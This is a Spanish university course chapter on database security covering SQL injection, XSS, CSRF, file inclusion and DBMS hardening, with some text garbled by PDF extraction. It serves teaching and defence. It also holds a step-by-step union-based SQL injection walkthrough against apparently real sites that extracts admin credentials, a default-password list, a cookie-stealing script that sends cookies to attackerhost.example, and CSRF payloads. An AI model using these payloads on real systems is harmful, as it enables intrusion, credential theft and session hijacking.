Tema 2

Seguridad en bases de datos
[2.1] ¿Cómo estudiar este tema?
[2.2] Vulnerabilidades y amenazas en bases de datos
[2.3] Seguridad en sistemas gestores de bases de datos
[2.4] Seguridad en directorios LDAP
[2.5] DAP: protección y auditoría de bases de datos
[2.6] Referencias bibliográficas
2 TEMA
Esquema
TEMA 1 – Esquema
Seguridad en bases de datos
Repositorios seguridad en Am enazas y

bases de datos v ulnerabilidades
Seguridad en Seguridad en servicios Soluciones de auditoría y

SGBD´s de directorio protección de datos: DAP
© Universidad Internacional de La Rioja (UNIR)

Seguridad en Bases de Datos y Almacenamiento de Datos Masivos
Ideas clave
2.1. ¿Cómo estudiar este tema?
Para estudiar este tema lee las Ideas clave que encontrarás a continuación, además de
los siguientes documentos:
Guía SP800-44v2 del NIST (páginas 9-1 a 9-5), disponible en la siguiente dirección:
http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf
Guía SP800-44v2 del NIST (páginas 9-5 a 9-10 y 9-14, disponible en la siguiente
dirección:
http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf
Guía SP800-34-revi del NIST (páginas 5 a 10), disponible en la siguiente dirección:

http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-
2010.pdf
2.2. Vulnerabilidades y amenazas en bases de datos
De acuerdo con Alex Rothacker director de AppSec's team shatter (security heuristics
of application testing technology for enterprise research), las vulnerabilidades más
frecuentes y peligrosas en sistemas gestores de bases de datos son:
DB1 : default and DB2 : SQL injection DB3 : excessive user & DB4 : unnecessary
weak passwords in the DBMS group privileges enabled DBMS features
DB5: broken DB6 : buffer DB7 : privilege DB8: DoS

configuration ov erflows escalation
m anagement
DB9 : unpatched DB1 0: unencryptec

database data – ar rest and in
m otion
Figura 1. Vulnerabilidades en bases de datos
TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Contraseñas débiles y por defecto.

» Inyecciones sql en el sgbd (cwe 89).
» Excesivos privilegios en usuarios y grupos (cwe 250, cwe 269).
» Opciones innecesarias habilitadas en el sgbd.
» Ataques a la gestión de la configuración (cwe 829, cwe 269).
» Buffer overflows (cwe 121 – 122).
» Escalada de privilegios (Cwe 264, 269, 250, 272).
» Ataques de denegación de servicio.
» Ataques de denegación de servicio.
» Datos no protegidos almacenados o en tránsito.
En la misma línea están otras fuentes como la de Imperva que publica las 5
vulnerabilidades más peligrosas en SGBD,s:
» Privilegios excesivos, inapropiados y no utilizados.

» Abuso de privilegios.
» Insuficiente seguridad en las aplicaciones web.
» Procedimientos de auditoría inadecuados.
» Medios de almacenamiento no asegurados.
Las vulnerabilidades que pueden tener lugar en las aplicaciones web como inyección
SQL-XML-XQUERY, XSS, CSRF, LFI, RFI, WEB SHELLS principalmente y otras
pueden ser indirectamente la puerta de entrada a los almacenes de datos.
Los ataques mediante web shell son un método sigiloso utilizado para obtener acceso
remoto no autorizado a un servidor. Las web shells son puertas traseras que utilizan la
funcionalidad principal del servidor web (que sirve a clientes remotos) Para obtener
acceso remoto persistente y obtener control total o limitado sobre el servidor a través
de un interfaz con la shell del servidor. Las web shells pueden comprometer las bases
de datos de la organización y exfiltrar los datos sin detección. El atacante utiliza las
capacidades de exploración de archivos del shell para localizar y robar las credenciales
de base de datos utilizadas por la aplicación legítima desde el archivo de configuración
de la aplicación. Esto es posible gracias al hecho de que la shell posee inherentemente
los privilegios del servidor de aplicaciones/daemon en sí en el sistema operativo.

Además, en algunas aplicaciones, las credenciales de la base de datos (nombre de

usuario y contraseña) se almacenan en texto plano en una ubicación de archivo
documentada.
Contraseñas débiles y por defecto
Tanto los SGBD,s como las aplicaciones suelen tener cuentas por defecto que hay que
deshabilitar. Las contraseñas han de ser fuertes, de longitud adecuada, incluyendo
caracteres especiales, expirar periódicamente y carecer de sentido. Se deben
monitorizar frecuentemente los accesos al SGBD.
User: sy stem / password: manager

User: sy s / password: change_on_install User: SA / password: null
User: Scott / password: tiger
User: db2admin / password: db2admin

User: db2as / password: ibmdb2
User: SA / password: null

User: root / password: null
User: admin / password: admin
User: my username / password: my password
Figura 2. Password por defecto en bases de datos
Inyección SQL
Mediante la inyección SQL un atacante podría realizar entre otras cosas las siguientes
acciones contra el sistema:
Los ataques de inyección SQL pueden permitir a un usuario modificar

consultas y acceder a registros u objetos de la base de datos a los que
inicialmente no tenía acceso por su nivel de privilegios o por no tener cuenta de
usuario para acceder al sistema.
Elevación de privilegios: todos los sistemas de autenticación que utilicen
credenciales almacenados en gestores de bases de datos hacen que una
vulnerabilidad de inyección SQL pueda permitir a un atacante acceder a los
identificadores de usuarios privilegiados y cambiar las credenciales.

Denegación de servicio: la modificación de comandos SQL puede llevar a la

ejecución de acciones destructivas como el borrado de datos, objetos o la parada
de servicios con comandos de parada y arranque de los sistemas. Además, se
pueden inyectar comandos que generen un alto cómputo en el motor de base de
datos que haga que el servicio no responda en tiempos útiles a los usuarios
legales.
Suplantación de usuarios: al poder acceder al sistema de credenciales es
posible que un atacante obtenga las credenciales de otro usuario y realice
acciones con la identidad robada o spoofeada a otro usuario.
En sentencias SQL, donde se combinan palabras clave con datos se puede

malintencionadamente alterar las estructuras de control y por tanto el significado de la
sentencia. La intención era solamente suministrar datos a la sentencia sin alterar las
estructuras de control (figura 3).
Figura 3. Ejemplo de ataque SQLI
Un atacante explota este tipo de vulnerabilidades especificando meta-caracteres que

tienen un significado especial como simples comillas (‘), dos puntos (..), peligroso en
sistema de ficheros. Para comandos de Shell el punto y coma (;) y (&&) son también
peligrosos y el carácter de nueva línea (/n) para los ficheros de log. En el ejemplo de la
figura 4 se muestra este tipo de vulnerabilidad en una sentencia SQL que se forma
concatenando strings de tal forma que se deja abierta a un ataque conocido como
inyección de SQL.

Figura 4. Ejemplo de bug que deja abierto el código a un ataque de inyección de SQL
El programador que escribió el código pretendía formar consultas como:
SELECT * FROM ítems WHERE owner = <userName> AND itemname =

<itemName>;
Pero un atacante puede asignar al campo itemname la cadena «name' OR 'a'='a» con lo
que la sentencia se convierte en:
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
La adición de OR 'a'='a' convierte la sentencia pretendida a esta: SELECT * FROM

ítems Esta sentencia extrae todas las filas de la tabla ítems y el atacante las puede
visualizar. Este es un pequeño ejemplo de lo que un atacante puede hacer y muestra
que se podrían también borrar todos los datos de la tabla y ejecutar muchas más
sentencias distintas de la pretendida que solo mostrar una fila al usuario.
La forma de ayudar a prevenir este tipo de ataques es utilizar consultas parametrizadas

que fuerzan a la distinción entre estructuras de control como son las palabras clave de
una sentencia SQL de lo que son puramente datos de entrada por parte del usuario de
la aplicación. Los programadores pueden explícitamente especificar a la base de datos
lo que debe ser tratado como comando y lo que debe ser tratado como datos (figura 5).
Figura 5. Ejemplo de consulta SQL construida con el uso de sentencias parametrizadas

Se puede probar en los campos de entrada con metacaracteres y la sentencia UNION

que requiere exactitud en el número de campos y tipos de datos para determinar el tipo
de base de datos entre otros. Se debe ir aumentando el número de campos
sucesivamente. Los dorks son palabras claves que se usan para encontrar sitios
vulnerables. Un ejemplo de dork sería el siguiente: noticia.php?id=
En Google se puede poner lo siguiente: inurl: noticia.php?id=
http://sitio.com/noticias.php?id=-1+UNION+SELECT+1,2
http://sitio.com/noticias.php?id=-1+UNION+SELECT+1,2,3
http://sitio.com/noticias.php?id=-1+UNION+SELECT+1,2,3,4
Y así sucesivamente hasta que el error desaparezca. En este caso se llega hasta el
número 6, pero hay ocasiones en las que puede superar los 70. Cuando el error ya no
esté se volverá a mostrar la página y curiosamente contiene uno o más números en el
banner de la web. Esos números son relativos a tablas y se puede afirmar que la web es
vulnerable a SQLi. Seguidamente se debe elegir uno de los números, se puede
seleccionar el 5 (puede usar cualquiera) para que me muestre los nombres de las tablas
en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables— (Mysql) y reemplazar el número 5 (que fue el
número que apareció en el cuerpo de la página) por table_name.
http://sitio.com/noticias.php?id=-
1+UNION+SELECT+1,2,3,4,tablename,6+from+information_schema.tables
Aparece el nombre de tabla «character_sets».
Lo que se debe hacer ahora es agregar después de information_schema.tables lo

siguiente: +limit+2,1— para ir avanzando en los nombres de tablas hasta llegar a
tablas que puedan comprometer la seguridad, de usuarios, p.e.
sitio.administradores.

http://www.sitio.com/noticias.php?id=-
1+UNION+SELECT+1,2,3,4,%2520tablename,6+from+information_schema.tables+li
mit+2,1--
http://www.sitio.com/noticias.php?id=-
1+UNION+SELECT+1,2,3,4,%2520tablename,6+from+information_schema.tables+li
mit+3,1%25E2%2580%2594
Se convierte el nombre de tabla a ascii: 115 105 116 105 111 95 97 100 109 105 110 105
115 116 114 97 100 111 114 101 115 y se ejecuta:
http://www.semgaragon.es/web/noticias/noticia.php?id=-
1+UNION+SELECT+1,2,3,4,group_concat(column_name),6+from+information_sche
ma.columns+where+table_name=char(115,105,116,105,111,95,97,100,109,105,110,105,1
15,116,114,97,100,111,114,101,115)%E2%80%94
Se obtiene la composición de las columnas de la tabla:
idAdmin, login, activo, password, nombre
Las que sirven son las columnas de login y password, así que ahora se reemplazan en la
inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a, Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a son dos puntos. Esto es
para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos
puntos. Teniendo un resultado algo así:
Usuario: contraseña
Se borra desde information_schema.columns en adelante y se deja +from+

después de ese from, se coloca el nombre de la tabla, que en nuestro caso se llamaba:
sitio_administradores quedando lo siguiente:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,
concat(Login,0x3a,Password),6+from+sitio_administradores—

Algunas de las funciones MYSQL más interesantes son:
» version(): muestra la versión de la base de datos.

» database(): el nombre de la base de datos a la que se está conectado.
» user(), system_user(), session_user(), current_user():
» Nombres de distintos usuarios.
» last_insert_id(): id de la última inserción.
» connection_id(): id de la conexión actual.
Injección SQL a ciegas. Un tipo de SQLI es la denominada Injección SQL a

ciegas (blind SQLI). Consiste en probar las entradas de datos interaccionando con la
base de datos e interpretar los resultados cuando no se obtienen resultados de error
para determinar si se ha obtenido éxito o no:
http://example.com/ex.php?id=25 AND 1=1
¿Se obtiene la misma página? Sí: parece que inyección ejecutada (true).
http://example.com/ex.php?id=25 AND 1=0
¿Se obtiene otra página? Sí: Es vulnerable (false).

Si la página nunca cambia es posible que todavía pueda ser vulnerable. Para averiguarlo
se pueden utilizar diversas herramientas que automatizan los ataques como son los
vulnerability automatic scanners como Ironwasp o Zap y también herramientas más
específicas como:
» Data Thief o Absinthe (MS SQL Server).

» SQLBFTools (MySQL).
» Havij.
» SQLninja.
» Sqlmap.
» Absinthe.
» SQLinjector.
» SQLbftools.
» Bfsql.
» SQLibf.
» SQL Powerinjector.
SQLI basada en tiempo. En la siguiente consulta, en el caso de existir la tabla

«users» y tener algún registro, se va a ralentizar la respuesta de la página web un
tiempo de 10 segundos. Si la respuesta se obtiene en un periodo inferior se puede
inferir que la tabla «users» existe y tiene algún registro.
http://servidor/prueba?id=1; if (exists(select * from users)) waitfor delay '0:0:10'-
Defensa SQLI. Para defensa ante SQLI ha de efectuarse validación de entrada y

utilizar consultas parametrizadas que incorporan los lenguajes de desarrollo utilizando
conceptos de desarrollo seguro validando los campos de entrada a la aplicación
asociada a la base de datos y escapando cualquier carácter que pueda incurrir en SQLI,
Michael Howard, uno de los padres del modelo SDL (secure development lifecycle) y
escritor del libro Writting Secure Code (2.ª edición) dedica todo un tema («All input is
Evil! Until proven othervise») a evitar la inyección de código.
Los fabricantes, proyectos como OWASP, WASC, etc. ofrecen mejores prácticas para el
desarrollo seguro, dando recomendaciones claras y precisas para evitar la inyección de
código. ESAPI es una colección gratis y abierta de código de implementación de
funciones de seguridad que un desarrollador necesita para construir una aplicación web
segura.

Se pueden usar solo las interfases y construir su propia implementación usando la

infraestructura de su compañía y se puede usar la implementación de referencia como
un punto de inicio. En concepto, la API es independiente del lenguaje. Los primeros
entregables del proyecto son una API Java y una referencia de implementación Java.
Existen versiones ESAPI en .NET y PHP, PYTHON, COLD FUSION.
Los atacantes intentan realizar ingeniera inversa y extraer información de las

aplicaciones sobre la base de los mensajes o tratamientos de error. Es importante que
se controlen absolutamente todas las posibilidades que puedan generar error en
cualquier procedimiento por parte del programador. Para cada acción de error se debe
realizar un tratamiento seguro del mismo y evitar dar ninguna información útil a un
posible atacante. Es recomendable que los errores, tanto los errores de aplicación como
los de servidor, se auditen, pues puede representar un fallo en el funcionamiento
normal del programa o un intento de ataque. Se puede afirmar que casi el 100% de los
atacantes a un sistema van a generar algún error en la aplicación.
Excesivos privilegios en usuarios y grupos (cwe 250,269)
Hay que minimizar al máximo la superficie de ataque. Los usuarios pueden obtener
acceso indebido a objetos debido a deficiencias en la gestión de la autorización, por
ejemplo, en la asignación de roles.
Frecuentemente, los privilegios por defecto son excesivos y potencialmente peligrosos.

Se debe revisar la matriz de autorizaciones y tener muy claro qué privilegios debe tener
cada usuario del sistema.

Opciones innecesarias habilitadas en el SGBD
Hay que minimizar la superficie de ataque inhabilitando opciones en el SBBD que sean
innecesarias. De esta forma se dificultarán las posibles acciones por parte de atacantes.
x p_cmdshell
Oracle configuration management (OCM) –
stores configuration data about hostnames,
usernames, datafile, locations, etc.
CRFATF_NOT_FFNCFIT (allows logins

to créate SPs)
Default TCP Ports – 1 433 and 1 434

Permissions on user table (mysql.user)
Figura 6. Opciones innecesarias en bases de datos
Ataques a la gestión de la configuración (cwe 829, cwe 269)
Hay que conocer lo más posible todas las posibilidades de configuración en cuanto a la
gestión del espacio de almacenamiento, usuarios, módulos, puertos, etc. y
concretamente las relativas a la seguridad. Nos tenemos que preguntar:
» ¿Cuál es nuestra actual configuración?

» ¿Cuál es la configuración que se debe tener?
Se deben utilizar guías de configuración segura proporcionadas por fabricantes o

de estándares reconocidos y herramientas de auditoría de comprobación del
estado de la seguridad del SGBD proporcionadas por los fabricantes como SCUBA
(IMPERVA), RORASCANER
Sy saudits table: if properly

Oracle configuration management (OCM) – configured Audit récords can be lost
stores configuration data about hostnames,
usernames, datafile, locations, etc.
TRUST_ALLCLNTS configuration
parameter: if set to default (which is
Y ES) all clients attempting to connect
will be considered trusted.
Default TCP Ports – 1 433 and 1 434
Figura7. Ataques a la gestión de la configuración de bases de datos

Buffer overflows (cwe 121 -122)
Esta vulnerabilidad de seguridad en la gestión de la memoria puede ocasionar la

ejecución de código arbitrario y por tanto muy puede ser muy dañina. Es necesario
parchear el software del SGBD lo antes posible.
Escalada de privilegios (cwe 264, 269, 250, 272)
Estas vulnerabilidades pueden ocasionar que un usuario con bajo perfil pueda ser
usuario administrador DBA. Es necesario revisar la matriz de autorizaciones a los
usuarios y solucionar cualquier desviación en los permisos asignados a todos los
usuarios y comprobar que están acordes a lo deseado finalmente.
Ataques de denegación de servicio
Los ataques de denegación de servicio pueden ser muy perjudiciales para un SGBD. Por
ejemplo, el gusano SQL SLAMMER atacó y comprometió 75.000 víctimas en 10
minutos. El mantenimiento de parches del sistema es fundamental. Las consultas a las
bases de datos toman más tiempo que otros accesos a la aplicación y suelen formar
parte de estos ataques simples o distribuidos o mediante BOTNET,s. Las defensas
pasan por configuración segura de servidores, protecciones como firewalls de
aplicaciones web (WAF), protecciones de defensa perimetral mediante SIEM, IDS-IPS
y protecciones vía hardware específico anti DDOS tanto en la instalación del proveedor
ISP como en la propia organización que permita discriminar el tráfico normal del
ilegítimo.
No aplicar el adecuado nivel de parches de seguridad
Se debe tener una política procedimental de actualización de parches en el SGBD que

corrija todos los tipos de vulnerabilidades anteriores y otras.

Datos no protegidos almacenados o en tránsito
En datos almacenados, para garantizar la confidencialidad e integridad hay que

emplear mecanismos de cifrado y de firma digital.
Para datos en tránsito (comunicaciones), hay que utilizar protocolos

criptográficos como TLS. No utilizar SSL debido a las importantes
vulnerabilidades que tiene.
Cross site scripting
En este apartado y en los siguientes se van a analizar varias de las vulnerabilidades más
importantes que pueden tener lugar las aplicaciones web y que pueden ser explotadas
para obtener accesos indebidos (ejecución de código remoto, robo de sesiones) a
sistemas para obtener información no autorizada de las bases de datos con el objetivo
de conseguir un beneficio económico para el atacante. Entre las vulnerabilidades más
peligrosas y frecuentes que se pueden consultar en OWASP TOP TEN [45] WASC [39] o
SANS TOP 25 [46] se encuentran:
» Cross site scripting (XSS).

» Cross site request forgery (CSRF).
En XSS, la víctima es el usuario, no la aplicación. Se envía contenido malicioso usando

JavaScript. Tienen principalmente como objetivo:
» Secuestro de sesiones.
» Acceder a la historia de exploración
Un ataque cross site scripting (XSS) reflected, ocurre cuando se dan estos dos
pasos:
» Los datos entran a la aplicación a través de entradas no validadas como una petición
HTTP, es decir, existe una vulnerabilidad XSS.
» La aplicación incluye los datos en un contenedor dinámico que se envía al navegador
web del usuario sin la apropiada validación de contenido malicioso.

Cuando una vulnerabilidad XSS es explotada, el payload malévolo enviado al

navegador web normalmente toma la forma de un segmento de JavaScript, pero
también puede incluir HTML, Flash o cualquier otro tipo de código que el navegador
puede ejecutar. La variedad de ataques basados en XSS es casi ilimitada, pero
comúnmente incluye transmisión de datos privados como cookies u otra
información de sesión al atacante o el redirigir la víctima a un contendor web que el
atacante controla.
El código malévolo en un ataque de XSS puede venir directamente del atacante en

forma de URL especial enviado a la víctima, o el atacante podría referirse a otro sitio
web con el contenido del ataque, como se demuestra en el siguiente ejemplo del código
de la figura 8.
Figura 8. Vulnerabilidad simple XSS
Si el nombre del parámetro tiene un valor como Pepe, el JSP producirá el siguiente
mensaje:
Hello Pepe!
Pero si el parámetro tiene el valor:
%3Cscript%20src%3D%22http%3A//example.com/evil.js%22%3E%3C/script%3
El servidor enviará al navegador:
Hello <script src="http://example.com/evil.js"></script
Entonces el navegador ejecutará el contenido de evil.js.

La figura 9 ilustra un potencial escenario de ataque que tiene lugar en cuatro

etapas:
» Un atacante crea un URL malévolo y usa un mensaje electrónico atractivo o algún

otro truco de ingeniería social para conseguir que una víctima visite el URL.
» Pinchando el enlace, el usuario sin ser consciente envía al código malévolo hasta la
aplicación web vulnerable.
» La aplicación web vulnerable dirige el código de vuelta al navegador de la víctima.
» El navegador de la víctima ejecuta el código como si legítimamente hubiera
provenido de la aplicación y transmite la información confidencial al atacante.
1. Attacker sends 2. Victim cliks link,

malicious link to makes request to
v ictim. v ulnerable application.
Attacker
Victim Application with XSS
browser v ulnerability
4. Browser executes
3. Application includes
attacker´s code, sends
attacker´s code in
confidential data back
HT TP response.
t o a ttacker.
Figura 9. Escenario de ataque XSS
En una porción de código de una aplicación web que tiene una base de datos como el de
la figura 10. El valor de name podría parecer menos peligroso, pero si ese dato se
suministró a la base de datos de forma externa esta base de datos puede conducir a
ataques.
1.Attacker sends m alicious

da ta t oapplication 1 2.Application 1 writes
m alicious data t odatabase
A pplication 1
Attacker
Database
A pplication 2
Victim 3.Application 2 reads

m alicious data from database
4.Application 2 deliv ers
a t tack t ovictim
Figura 10. Vulnerabilidad stored XSS

Esta variante de XSS se denomina stored cross site scripting. En la figura se puede
ver cómo un atacante envía datos maliciosos a una base de datos a través de una
primera aplicación, una segunda aplicación puede leer esos datos y reenviarlos al
navegador de la víctima.
Prevención de XSS. La forma de prevenir XSS es realizando validación de la

salida, esto es similar al filtrado que se realiza en cortafuegos. Como en la validación
de la entrada, whitelisting (lista de valores válidos) es una aceptable forma de
realizarla. Sin embargo, blacklisting (lista de valores inaceptables) no es recomendable
porque diferentes navegadores web, incluso el mismo navegador configurado de
distinta forma para usar diferente codificación de caracteres, pueden responder
diferentemente a la gran cantidad de variantes que ocurren en HTML.
Ejemplos de XSS:
» XSS reflected 1: suponer una URL en un sitio Google:

http://www.google.com/search?q=flowers, que devuelve fragmentos HTML como:
<p>Your search for 'flowers' returned the following results:</p>
El valor del parámetro de consulta «q» se inserta en la página devuelta por Google.
Supongamos, además, que los datos no se validan, no se filtran o no se escapan
Evil.org podría poner una página que hace que la siguiente URL se cargarse en el
navegador (por ejemplo, en un <iframe> invisible):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
Cuando una víctima se carga esta página www.evil.org, el navegador carga el iframe
de la URL anterior. El documento se carga en el iframe contendrá ahora el
fragmento:
<p>Your search for 'flowers <script>evil_script()</script>' returned the following

results:</p>

Cargando la página hará que el navegador para ejecutar evil_script (). Por otra
parte, este script se ejecutará en el contexto de una página cargada desde
www.google.com
» XSS reflected 2 (ejemplo vulnerabilidad XSS identificada en el código):
<% String cmd = request.getParameter("cmd");

try{
if (cmd.compareTo("POST")!=0){
String act = request.getParameter("act");
String curso = request.getParameter("cu");
String carrera = (String)session.getAttribute("carrera"); /*source*/
String ncurso = (String)session.getAttribute("ncurso");
String ncarrera = (String)session.getAttribute("ncarrera");
ArrayList alumnos = new ArrayList();
ArrayList grupos = new ArrayList();
if (act.compareTo("ALUMNOS")==0){ %>
CARRERA: <%= carrera %> :-<%= ncarrera %>
<FORM ACTION="/Webeev/ADMIN/AdminFr3.jsp?cmd=POST&cu=<%= curso %>&ca=<%=
carrera %>" /*sink*/
METHOD="POST">
» XSS Refleted 3, robo de sesión, figura 11:
o La víctima accede a la app-web vulnerable y obtiene una cookie (o ID) para esa
sesión.
o La víctima accede a la app-web a través de una URL maliciosa (XSS reflejado) o
directamente (XSS persistente).
o El navegador de la víctima envía el script que es reflejado por la app-web o se
obtiene el script inyectado previamente por el atacante.
o El script se ejecuta en el navegador de la víctima y envía la cookie al atacante, en
silencio.
o El atacante suplanta al usuario víctima.

Figura 11. XSS robo de sesión
» XSS Persistente: en muchos sitios web de tablones de anuncios, los usuarios

registrados pueden publicar mensajes que se almacenan en una base de datos de
algún tipo. Un usuario registrado es seguido generalmente usando una cookie de ID
de sesión que les autoriza a publicar. Si un atacante envía un mensaje con un
código JavaScript especialmente diseñado, un usuario que lee este mensaje
podría tener las cookies y su cuenta comprometida. Un fragmento de código de robo
de cookie sería:
<SCRIPT> document.location= 'http://attackerhost.example/cgi-

bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Due to the fact that the attack
payload is stored on the server side, this form of xss attack is persistent.
Defensa ante XSS. Debe contemplar aspectos como:
» Validación de la entrada.
» Codificación de la salida para evitar caracteres como >,<, &, etc. en URL,s.
» Parámetro HTTPONLY para evitar uso de cookies en scripts.
» Parámetro SECURE para obligar a utilizar protocolo TLS.

Cross site request forgery
Mediante la explotación de una vulnerabilidad CSRF un atacante puede acceder a la

funcionalidad en una aplicación web de destino, a través de la víctima que ya está
autenticada en la aplicación. Cuando visita otro sitio controlado por el atacante,
mediante XSS u otro método como un enlace suministrado, la víctima puede ejecutar
un payload oculto en un frame que supone un ataque contra la aplicación en la que se
hallaba autenticada la víctima.
Los objetivos incluyen aplicaciones web como las redes sociales, clientes de correo
electrónico, navegador de banca en línea e interfaces web para los dispositivos de red.
Las peticiones maliciosas son enviadas desde un sitio que un usuario visita (del
atacante) a otro sitio que el atacante cree que la víctima se ha autenticado. Las
peticiones maliciosas se enrutan al sitio de destino a través del navegador de la víctima
que se autentica en el sitio de destino.
La vulnerabilidad reside en la aplicación web afectada, no el navegador de la víctima, ni

en el sitio controlado por el atacante que aloja el CSRF, figura 12.
Figura 12. Esquema ataque CSRF

» Ejemplo 1: en un ataque CSRF, el atacante está explotando como la aplicación web

de destino gestiona la autenticación. Para explotar la vulnerabilidad de la aplicación
la víctima debe autenticarse contra al sitio de destino.
Por ejemplo, examplebank.com es un banco vulnerable a CSRF. Si se visita una

página que contiene un ataque CSRF en examplebank.com pero no se abre una
sesión, actualmente, no pasa nada. Si se está conectado, sin embargo, las solicitudes
de ataque se ejecutarán como si fueran acciones que tenía intención de hacer
Ataque: en primer lugar, vamos a asumir que estoy conectado a mi cuenta en

examplebank.com que permite funciones de banca en línea estándar, incluyendo la
transferencia de fondos a otra cuenta.
» Ejemplo 2: ahora se le puede ocurrir a alguien visitar somemalicioussite.com.

Lo que pasa es que este sitio está tratando de atacar a las personas que acceden a
examplebank.com y ha configurado un ataque CSRF en ese sitio. El ataque se
transferirá $ 1,500.00 en su cuenta, que es el número de cuenta 123456789. En
algún lugar de somemalicioussite.com han añadido esta línea de código:
<iframe
src="http://examplebank.com/app/transferFunds?amount=1500&destinationAccount
=123456789">
Al cargar ese iframe, el navegador enviará esta solicitud a examplebank.com que mi

navegador ya ha iniciado la sesión como yo. La solicitud será procesada y enviará $
1,500.00 en la cuenta 123456789.
» Ejemplo 3: acabo de comprar un nuevo router inalámbrico en casa. Al igual que la

mayoría de routers wifi que está configurado a través de una interfaz web. El router
se ha configurado con una dirección IP interna 192.168.1.1. Estoy teniendo
problemas para configurar el router. Sin embargo, y afortunadamente en
somemalicioussite.com han publicado una guía que me muestra exactamente los
botones para hacer click en la interfaz del router y tener todo configurado
correctamente. Los atacantes también han creado un servidor proxy en 123.45.67.89
que registra todo el tráfico que pasa a través de él y buscar cosas como contraseñas y
tokens de sesión. Al hacer click a través de la guía de configuración se escapó el
detalle de la imagen de 1x1 píxeles que no se pudo cargar:

<img src=”http://192.168.1.1/admin/config/outsideInterface?nexthop=123.45.67.89”
alt=”pwned” height=”1” width=”1”/>
Los atacantes sabían que cuando estaba leyendo el tutorial que estaría conectado a la
interfaz del router. Así que tuvieron la configuración ataque CSRF en el tutorial. Con
esta petición el router sería reconfigurado para que el tráfico se encamine a su
servidor proxy en el que pueden hacer todo tipo de cosas no buenas con ella (ver
figura 13).
Figura 13. Ejemplo de ataque a router CSRF
Defensas contra CSRF. Se deben utilizar peticiones POST frente a GET, solicitar
verificación manual al usuario para acciones críticas en la app-web como tarjetas
coordenadas, SMS, CAPTCHA, etc., inclusión de tokens anti-CSRF en las peticiones
para validarlos antes de procesarlas en el lado servidor. El token debe ser: dinámico,
por sesión y usuario, aleatorio, suficientemente largo y solo usado con SSL/TLS,
utilizando un token por cada formulario crítico y acción. No se deberá usar nunca
cookies para el token anti-CSRF que debe expirar. Analizar peticiones procedentes de
otros sitios web en los logs. CSRF invita a crear controles detallados de flujo y de lógica
de negocio en la aplicación web, por ejemplo:
» El usuario debe visitar la página 1 antes que la 2.

» El usuario debe visitar una serie de páginas web secuencialmente antes de una
acción crítica.
» Reforzar la lógica de negocio globalmente.

Librerías Anti-CSRF:
» OWASP CSRFGuard for JavaEE.

» https://www.owasp.org/index.php/CSRFGuard.
» PHP CSRF Guard https://www.owasp.org/index.php/PHP_CSRF_Guard.
» NET CSRF Guard https://www.owasp.org/index.php/.Net_CSRF_Guard.
En el cliente se puede deshabilitar javascript y flash, cerrar sesiones cuando no son

necesarias, usar dos navegadores web distintos para evitar navegación con múltiples
pestañas o utilizar la capacidad de SANDBOX.
Inclusión local y remota de ficheros (LFI-RFI)
La función Load_File permite acceder en una consulta directamente a un fichero en el

sistema de archivos y devuelve una cadena de bytes con el contenido del fichero.
Bastaría con lanzar un comando de la forma: Select Load_file('etc/passwd') Con

este comando se podría leer el fichero /etc/passwd que sería devuelto como una cadena
de caracteres. Para evitar el problema de las aplicaciones web con filtrado de comillas
se puede escribir el nombre del fichero en hexadecimal. Otra alternativa sería utilizar la
función Load_data_infile en las versiones de MySQL 5 que habría que deshabilitar.
La vulnerabilidad LFI permite acceder a ficheros teóricamente no permitidos, se

debe comprobar si el usuario que utiliza la aplicación especificando un fichero en un
campo de entrada tiene permisos para ello. Esta vulnerabilidad permite acceder a
recursos del sistema operativo subyacente al SGBD.
La vulnerabilidad RFI permite la ejecución de código remoto en el servidor que se

ejecutará con las credenciales del usuario que accede a la aplicación. Se deben validar
todas las sentencias de tipo include (PHP y otros) que permiten incluir código externo.
Los campos de dichas sentencias deben validarse previamente para evitar la ejecución
remota. Los efectos de estas ejecuciones pueden ser muy variados, pueden suponer el
escaneo de la red donde se haya el usuario, instalar código para posteriores acciones
etc.

2.3. Seguridad en sistemas gestores de bases de datos
El diseño e implementación de la seguridad de un sistema gestor de bases de datos y

sus bases de datos que gobierna pasa por el cumplimiento de una serie de objetivos:
» Entender las medidas, actividades y mejores prácticas de seguridad

disponibles a aplicar en el SSDLC desde la derivación de requisitos de seguridad y el
diseño a la implementación y pruebas de la seguridad para llegar con garantías a las
operaciones de seguridad que se aplican en la fase de producción de un SBGD y sus
bases de datos instaladas.
» Comprender los riesgos, amenazas y vulnerabilidades que los SGBD,s y sus

bases de datos instaladas pueden sufrir a partir de su arquitectura y características.
» Identificar los elementos de seguridad de los SGBD,s.
» Identificar los requisitos de seguridad de los SGBD,s para alcanzar elementos

de seguridad de los SGBD,s
» Identificar y trazar las actividades de seguridad del SSDLC con los elementos y
requisitos comunes de seguridad en SGBD,s.
Previamente a iniciar el diseño e implementación de la seguridad de un sistema gestor

de bases de datos hay que recordar las funciones que deben realizar los usurarios DBA
y auditor que son los que más responsabilidades tienen en materia de seguridad.
Administración SGBD: usuario DBA. El DBA tiene una gran responsabilidad ya

que posee el máximo nivel de privilegios. Será el encargado de crear los usuarios que se
conectarán a la BD. En la administración de una BD siempre hay que procurar que haya
el menor número de administradores, a ser posible dos personas únicamente a
lo sumo.

Incluye una serie de tareas como:
» Instalar SGBD en el sistema informático.

» Crear las BBDD que se vayan a gestionar.
» Crear y mantener los esquemas de BD.
» Crear y mantener las cuentas de usuario de BD.
» Arrancar y parar SGBD, y cargar las BBDD con las que se ha de trabajar.
» Establecer estándares de uso, políticas de acceso y protocolos de trabajo
diario para los usuarios de BD.
» Vigilar el trabajo diario colaborando en la información y resolución de las dudas
de los usuarios de BD.
» Controlar en tiempo real los accesos, tasas de uso, cargas en los servidores,
anomalías, etcétera.
» Efectuar las copias de seguridad periódicas de BD.
» Restaurar BD después de un incidente material a partir de las copias de seguridad.
